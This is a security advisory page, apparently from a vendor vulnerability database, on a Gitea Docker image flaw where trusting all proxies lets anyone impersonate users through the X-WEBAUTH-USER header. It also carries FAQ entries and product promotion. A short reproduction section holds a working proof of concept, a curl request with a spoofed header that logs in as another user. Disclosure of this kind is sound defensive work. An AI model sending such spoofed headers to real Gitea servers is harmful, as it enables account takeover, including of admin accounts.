Summary
Gitea Docker image: REVERSEPROXYTRUSTED_PROXIES = * default lets any source IP impersonate any user via X-WEBAUTH-USER
The Gitea Docker images ship an app.ini template that hard-codes:
REVERSE_PROXY_TRUSTED_PROXIES = *
The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.
When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.
Affected
gitea/giteaDocker images (verified1.26.2)docker/root/etc/templates/app.ini:55docker/rootless/etc/templates/app.ini:52
Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.
Reproduction
docker run -d --name g -p 3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git g gitea admin user create \
--username alice --password "longpasswordhere1234" \
--email [email protected] --must-change-password=false
Now the attack::
curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
| grep -oE '<title>[^<]+</title>'
Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title>, attacker is logged in as alice with one header, no password, no cookie.
Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.
Impact
Any process that can reach the Gitea container's HTTP port directly, not through the intended authenticating proxy, can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.
CVE-2026-20896 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.26.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-20896? CVE-2026-20896 is a critical-severity security vulnerability in code.gitea.io/gitea (go), affecting versions < 1.26.3. It is fixed in 1.26.3.
- How severe is CVE-2026-20896? CVE-2026-20896 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of code.gitea.io/gitea are affected by CVE-2026-20896? code.gitea.io/gitea (go) versions < 1.26.3 is affected.
- Is there a fix for CVE-2026-20896? Yes. CVE-2026-20896 is fixed in 1.26.3. Upgrade to this version or later.
- Is CVE-2026-20896 exploitable, and should I be worried? Whether CVE-2026-20896 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-20896 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-20896? Upgrade
code.gitea.io/giteato 1.26.3 or later.